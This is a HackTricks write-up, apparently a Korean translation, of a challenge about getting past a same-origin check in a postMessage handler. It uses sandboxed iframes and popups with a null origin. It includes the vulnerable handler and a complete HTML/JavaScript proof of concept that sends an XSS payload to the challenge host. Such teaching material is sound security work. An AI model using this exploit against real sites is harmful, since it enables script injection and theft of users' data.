Bypassing SOP with Iframes - 1

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Iframes in SOP-1

์ด ๋„์ „ ๊ณผ์ œ๋Š” NDevTK์™€ Terjanq๊ฐ€ ๋งŒ๋“  ๊ฒƒ์œผ๋กœ, ์ฝ”๋”ฉ๋œ XSS๋ฅผ ์ด์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}

์ฃผ์š” ๋ฌธ์ œ๋Š” ๋ฉ”์ธ ํŽ˜์ด์ง€๊ฐ€ DomPurify๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ data.body๋ฅผ ์ „์†กํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ์ž์‹ ์˜ HTML ๋ฐ์ดํ„ฐ๋ฅผ ํ•ด๋‹น ์ฝ”๋“œ๋กœ ์ „์†กํ•˜๋ ค๋ฉด bypass e.origin !== window.origin์„ ํ•ด์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ œ์•ˆ๋œ ํ•ด๊ฒฐ์ฑ…์„ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

SOP bypass 1 (e.origin === null)

//example.org๊ฐ€ sandboxed iframe์— ํฌํ•จ๋˜๋ฉด, ํŽ˜์ด์ง€์˜ origin์€ **null**์ด ๋ฉ๋‹ˆ๋‹ค. ์ฆ‰, **window.origin === null**์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">๋ฅผ ํ†ตํ•ด iframe์„ ํฌํ•จ์‹œํ‚ค๊ธฐ๋งŒ ํ•˜๋ฉด null origin์„ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŽ˜์ด์ง€๊ฐ€ embeddable์ด์—ˆ๋‹ค๋ฉด, ๊ทธ ๋ฐฉ๋ฒ•์œผ๋กœ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์ฟ ํ‚ค๋Š” SameSite=None์œผ๋กœ ์„ค์ •ํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค).

SOP bypass 2 (window.origin === null)

๋œ ์•Œ๋ ค์ง„ ์‚ฌ์‹ค์€ sandbox ๊ฐ’ allow-popups๊ฐ€ ์„ค์ •๋˜๋ฉด ์—ด๋ฆฐ ํŒ์—…์ด ๋ชจ๋“  sandboxed attributes๋ฅผ ์ƒ์†๋ฐ›๋Š”๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. allow-popups-to-escape-sandbox๊ฐ€ ์„ค์ •๋˜์ง€ ์•Š๋Š” ํ•œ, null origin์—์„œ ํŒ์—…์„ ์—ด๋ฉด ํŒ์—… ๋‚ด๋ถ€์˜ **window.origin**๋„ **null**์ด ๋ฉ๋‹ˆ๋‹ค.

Challenge Solution

๋”ฐ๋ผ์„œ ์ด ์ฑŒ๋ฆฐ์ง€์—์„œ๋Š” iframe์„ ์ƒ์„ฑํ•˜๊ณ , ์ทจ์•ฝํ•œ XSS ์ฝ”๋“œ ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์žˆ๋Š” ํŽ˜์ด์ง€(/iframe.php)๋กœ ํŒ์—…์„ ์—ด๋ฉด, window.origin === e.origin์ด๋ฏ€๋กœ ๋‘ ๊ฐ’์ด ๋ชจ๋‘ null์ด๊ธฐ ๋•Œ๋ฌธ์— XSS๋ฅผ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ ํŽ˜์ด๋กœ๋“œ๋Š” ์‹๋ณ„์ž๋ฅผ ๊ฐ€์ ธ์™€์„œ XSS๋ฅผ ์ƒ์œ„ ํŽ˜์ด์ง€(ํŒ์—…์„ ์—ฐ ํŽ˜์ด์ง€)๋กœ ์ „์†กํ•˜๋ฉฐ, ์ƒ์œ„ ํŽ˜์ด์ง€๋Š” ์ทจ์•ฝํ•œ /iframe.php๋กœ ์œ„์น˜ ๋ณ€๊ฒฝ์„ ํ•ฉ๋‹ˆ๋‹ค. ์‹๋ณ„์ž๊ฐ€ ์•Œ๋ ค์ ธ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— window.origin === e.origin ์กฐ๊ฑด์ด ๋งŒ์กฑ๋˜์ง€ ์•Š์•„๋„ ์ƒ๊ด€์—†์Šต๋‹ˆ๋‹ค (๊ธฐ์–ตํ•˜์„ธ์š”, origin์€ origin์ด **null**์ธ iframe์˜ ํŒ์—…์ž…๋‹ˆ๋‹ค) ์™œ๋ƒํ•˜๋ฉด data.identifier === identifier์ด๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด XSS๊ฐ€ ๋‹ค์‹œ ํŠธ๋ฆฌ๊ฑฐ๋˜๋ฉฐ, ์ด๋ฒˆ์—๋Š” ์˜ฌ๋ฐ”๋ฅธ origin์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

<body>
<script>
f = document.createElement("iframe")

// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ